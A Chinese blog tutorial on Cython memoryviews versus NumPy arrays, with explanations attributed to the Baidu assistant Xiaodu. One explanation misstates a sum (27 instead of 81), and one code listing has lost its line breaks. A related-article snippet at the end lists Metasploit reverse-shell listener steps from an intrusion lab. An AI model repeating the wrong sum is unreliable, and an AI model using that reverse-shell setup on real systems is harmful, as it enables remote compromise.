C桑(Cython)从入门到入土(2): np数组操作对比

在这里插入图片描述

C桑(Cython)从入门到入土

2. np数组操作对比

Node sc518 Copy has image data of type unsigned long long

实际上, 👆🏻这个错误是我探索Cython的缘起…

code1:

Form:

更现代的方法是使用内存视图而不是指针:

cdef np.uint32_t[:,:,::1] mv_buff = np.ascontiguousarray(im, dtype = np.uint32)

[:,;,::1] 语法告诉 Cython 内存视图在内存中是 3D 和 C 连续的。将类型定义为内存视图而不是 numpy 数组的优点是
它可以接受定义缓冲区接口的任何类型,例如内置数组模块或来自 PIL 成像库的对象。
Memoryviews 可以在不持有 GIL 的情况下传递,这对于并行代码很有用
要从内存视图获取指针,请获取第一个元素的地址:

cdef np.uint32_t* im_buff = &mv_buff[0,0,0]

这比 <np.uint32_t*>mv_buff.data 更好,因为它避免了强制转换,并且强制转换通常可以隐藏错误。

👇的内容是小度在这里插入图片描述的回答:

这段代码涉及到Cython中的内存视图和numpy数组的使用。Cython是一种用来编写C扩展的Python语言,它可以提高Python代码的执行效率。让我们逐步解释这段代码:

  1. cdef np.uint32_t[:,:,::1] mv_buff = np.ascontiguousarray(im, dtype = np.uint32):

    • cdef np.uint32_t[:,:,::1] mv_buff: 这定义了一个3D的内存视图mv_buff,其数据类型为np.uint32_t(无符号32位整数)。:表示这个维度是开放的,也就是说它的大小可以根据源数组im的大小来自动确定。
    • np.ascontiguousarray(im, dtype = np.uint32): 这个函数将输入的numpy数组im转换为连续的内存布局,并指定数据类型为np.uint32_t
  2. [:,;,::1] 语法告诉 Cython 内存视图在内存中是 3D 和 C 连续的。:

    • [:,;,::1]是Cython中的内存视图语法,它定义了数组的维度和连续性。这里它表示一个3D的数组,并且在内存中是C风格连续的(即行优先)。
  3. 将类型定义为内存视图而不是 numpy 数组的优点是:

    • 可以接受定义缓冲区接口的任何类型,例如内置数组模块或来自 PIL 成像库的对象。
    • Memoryviews 可以在不持有 GIL 的情况下传递,这对于并行代码很有用。
  4. 要从内存视图获取指针,请获取第一个元素的地址:

    • cdef np.uint32_t* im_buff = &mv_buff[0,0,0]: 这行代码获取了内存视图mv_buff中第一个元素的地址,并将其赋给指针im_buff。这意味着现在可以通过这个指针直接访问和修改mv_buff中的数据。

简而言之,这段代码的主要目的是将一个numpy数组转换为连续的内存布局(使用Cython的内存视图),并获取该内存视图的第一个元素的地址。这样做通常是为了提高数据访问的效率或与需要连续内存布局的C/C++代码进行交互。

code2

From

from cython.cimports.cython.view import array as cvarray
import numpy as np# Memoryview on a NumPy array
narr = np.arange(27, dtype=np.dtype("i")).reshape((3, 3, 3))
narr_view = cython.declare(cython.int[:, :, :], narr)# Memoryview on a C array
carr = cython.declare(cython.int[3][3][3])
carr_view = cython.declare(cython.int[:, :, :], carr)# Memoryview on a Cython array
cyarr = cvarray(shape=(3, 3, 3), itemsize=cython.sizeof(cython.int), format="i")
cyarr_view = cython.declare(cython.int[:, :, :], cyarr)# Show the sum of all the arrays before altering it
print(f"NumPy sum of the NumPy array before assignments: {narr.sum()}")# We can copy the values from one memoryview into another using a single
# statement, by either indexing with ... or (NumPy-style) with a colon.
carr_view[...] = narr_view
cyarr_view[:] = narr_view
# NumPy-style syntax for assigning a single value to all elements.
narr_view[:, :, :] = 3# Just to distinguish the arrays
carr_view[0, 0, 0] = 100
cyarr_view[0, 0, 0] = 1000# Assigning into the memoryview on the NumPy array alters the latter
print(f"NumPy sum of NumPy array after assignments: {narr.sum()}")# A function using a memoryview does not usually need the GIL
@cython.nogil
@cython.ccall
def sum3d(arr: cython.int[:, :, :]) -> cython.int:i: cython.size_tj: cython.size_tk: cython.size_tI: cython.size_tJ: cython.size_tK: cython.size_ttotal: cython.int = 0I = arr.shape[0]J = arr.shape[1]K = arr.shape[2]for i in range(I):for j in range(J):for k in range(K):total += arr[i, j, k]return total# A function accepting a memoryview knows how to use a NumPy array,
# a C array, a Cython array...
print(f"Memoryview sum of NumPy array is {sum3d(narr)}")
print(f"Memoryview sum of C array is {sum3d(carr)}")
print(f"Memoryview sum of Cython array is {sum3d(cyarr)}")
# ... and of course, a memoryview.
print(f"Memoryview sum of C memoryview is {sum3d(carr_view)}")
# 此代码应提供以下输出:NumPy sum of the NumPy array before assignments: 351
NumPy sum of NumPy array after assignments: 81
Memoryview sum of NumPy array is 81
Memoryview sum of C array is 451
Memoryview sum of Cython array is 1351
Memoryview sum of C memoryview is 451

👇的内容是小度在这里插入图片描述的回答:

这段代码主要是关于Cython的内存视图(memoryview)特性,以及如何使用Cython与NumPy、C数组和Cython数组进行交互。下面是对代码的详细解释:

  1. 导入相关模块:

    • from cython.cimports.cython.view import array as cvarray: 导入Cython的carray(C风格数组)作为cvarray。
    • import numpy as np: 导入NumPy库。
  2. 创建NumPy数组:

    • narr = np.arange(27, dtype=np.dtype("i")).reshape((3, 3, 3)): 创建一个形状为(3,3,3)的整数数组,并初始化其值。
  3. 声明Cython内存视图:

    • narr_view = cython.declare(cython.int[:, :, :], narr): 为NumPy数组创建一个Cython内存视图。
    • carr = cython.declare(cython.int[3][3][3]): 声明一个C风格的3x3x3整数数组。
    • cyarr = cvarray(shape=(3, 3, 3), itemsize=cython.sizeof(cython.int), format="i"): 创建一个Cython的carray。
  4. 显示数组和赋值:

    • print(f"NumPy sum of the NumPy array before assignments: {narr.sum()}"): 在赋值之前打印NumPy数组的总和。
    • carr_view[...] = narr_viewcyarr_view[:] = narr_view: 将NumPy数组的值复制到C风格数组和Cython数组中。
    • narr_view[:, :, :] = 3: 将NumPy数组的所有元素设置为3。
    • carr_view[0, 0, 0] = 100cyarr_view[0, 0, 0] = 1000: 分别设置C风格数组和Cython数组的特定元素值。
  5. 检查赋值后的总和:

    • print(f"NumPy sum of NumPy array after assignments: {narr.sum()}"): 在赋值之后打印NumPy数组的总和,由于所有元素都被设置为3,所以总和应为27。
  6. 定义一个使用内存视图的函数:

    • @cython.nogil@cython.ccall 是Cython的装饰器,它们允许函数在没有全局解释器锁(GIL)的情况下运行,并允许直接调用C函数。
    • sum3d 函数接受一个三维整数数组作为参数,并返回其所有元素的总和。
  7. 调用内存视图函数:
    使用先前定义的sum3d函数,分别对NumPy数组、C风格数组、Cython数组以及C风格的内存视图调用该函数,并打印结果。

总的来说,这段代码展示了如何使用Cython的内存视图来与NumPy、C风格数组和Cython数组进行交互,以及如何通过内存视图进行高效的数值计算。

小结

C桑 这种啰嗦的语言风格, 真是让Python🐶抓狂😖…

不过, 这种高效倒是真的…

我们现在比纯 Python 版本快 7558 倍,比 NumPy 快 11.1 倍!
以上
未完待续

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/343364.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql基础操作

1.基础操作 1.1 启动服务 a.手动启动 我的电脑->右键->管理->服务->mysql->右键启动/启动 b.命令方式 在管理员模式下运行cmd,执行如下操作&#xff1a; net start mysql --启动服务 net stop mysql --关闭服务1.2 命令连接数据库&#xff08;客户端连接数据…

STL之vector

目录 vector的定义和特性 vector的定义和结构非常简单&#xff0c;它由以下几个重要的部分组成&#xff1a; vector的常用函数 vector排序去重 排序 去重 代码示例 vector的定义和特性 在c中&#xff0c;vector是一个动态数组容器&#xff0c;可以存储一系列相同类型的…

深度解析:接口测试与功能测试的区别,精彩回答震撼心灵

软件测试的细分领域范围广泛。 很多人常常搞不清楚接口测试与功能测试之间的区别。 今天用一篇文章来讲清楚“接口测试与功能测试的区别及内存联系”。 接口测试和功能测试都属于软件测试的细分领域。 更准确的说&#xff0c;软件测试按大的方向分类分别为&#xff1a;功能…

如何用Mac工具制作“苹果高管形象照”

大伙儿最近有没有刷到“苹果高管形象照”风格&#xff0c;详细说来就是&#xff1a; 以苹果官网管理层简介页面中&#xff0c;各位高管形象照为模型&#xff0c;佐以磨皮、美白、高光等修图术&#xff0c;打造的看上去既有事业又有时间有氧的证件照&#xff0c;又称“苹…

对运放设计静态工作电压和求摆幅的理解

MOS的电压关系 在运放设计静态工作电压时要利用vod来确定&#xff0c;已知MOS的VTH&#xff0c;工作在饱和区&#xff0c;再假设管子的Vdsat&#xff0c;根据下式就能由G求S或由S求G&#xff1a; 上述关系可以用来确定电路的所有电压工作点&#xff0c;因为一旦Vod确定&#…

flask框架基本使用

一、使用pycharm创建项目 1.创建项目 2.调整默认终端 3.打开虚拟终端 打开终端可以看出使用的是p1的虚拟机终端了 4.pyCharm小技巧 在flask种输入一个完整并且存在的函数名称或者类明&#xff0c; 然后 Alt 回车&#xff0c;pycharm可以自动导包&#xff0c;不用在手动在代…

Web前端 ---- 【Vue3】Proxy响应式原理

目录 前言 安装Vue3项目 安装 Proxy 语法格式 前言 从本文开始进入vue3的学习。本文介绍vue3中的响应式原理&#xff0c;相较于vue2中通过object.defineProperty&#xff08;vue2中的响应式&#xff09;来实现响应式&#xff0c;vue3中换成了Proxy来进行实现。 安装Vue3项目…

chat-plus部署指南

目录 1.下载代码 2.启动 3.测试 1.下载代码 cd /optwget https://github.com/yangjian102621/chatgpt-plus/archive/refs/tags/v3.2.4.1.tar.gz 2.启动 cd /opt/chatgpt-plus-3.2.4.1/deploydocker-compose up -d 3.测试 管理员地址xxx:8080/admin 账号密码admin/admin1…

百度面经整理(2024最新)

百度 面经1 shiro的组件分布式一致性算法zookeeper那些能参与投票&#xff0c;leader能投票吗&#xff1f;netty零拷贝实现volatile&#xff0c;如何感知到变量变化的redis高可用http如何跨域&#xff1f;tcp如何长链接。http如何操作浏览器缓存。用过消息队列吗&#xff1f;…

二极管选型怎么选?常用参数要熟练~

同学们大家好&#xff0c;今天我们继续学习杨欣的《电子设计从零开始》&#xff0c;这本书从基本原理出发&#xff0c;知识点遍及无线电通讯、仪器设计、三极管电路、集成电路、传感器、数字电路基础、单片机及应用实例&#xff0c;可以说是全面系统地介绍了电子设计所需的知识…

[易语言]使用易语言部署工业级人脸检测模型

【框架地址】 https://github.com/ShiqiYu/libfacedetection 【算法介绍】 Libfacedetection是一个开源的计算机视觉库&#xff0c;主要用于实时的人脸检测。它利用深度学习技术&#xff0c;特别是卷积神经网络&#xff08;CNN&#xff09;&#xff0c;实现了高精度的脸部定位…

红日靶场之stack远程桌面控制 个人学习)

我们首先打开webshell工具 然后切换到C盘的www的文件夹下面 然后我们打开MSF工具进行监听 模板 msfconsole 启动MSF工具 然后是 use exploit/multi/handler 使用漏洞辅助模块 set payload windows/meterpreter/reverse_tcp 这是利用漏洞tcp回弹模块 set lhost 192.168.52.…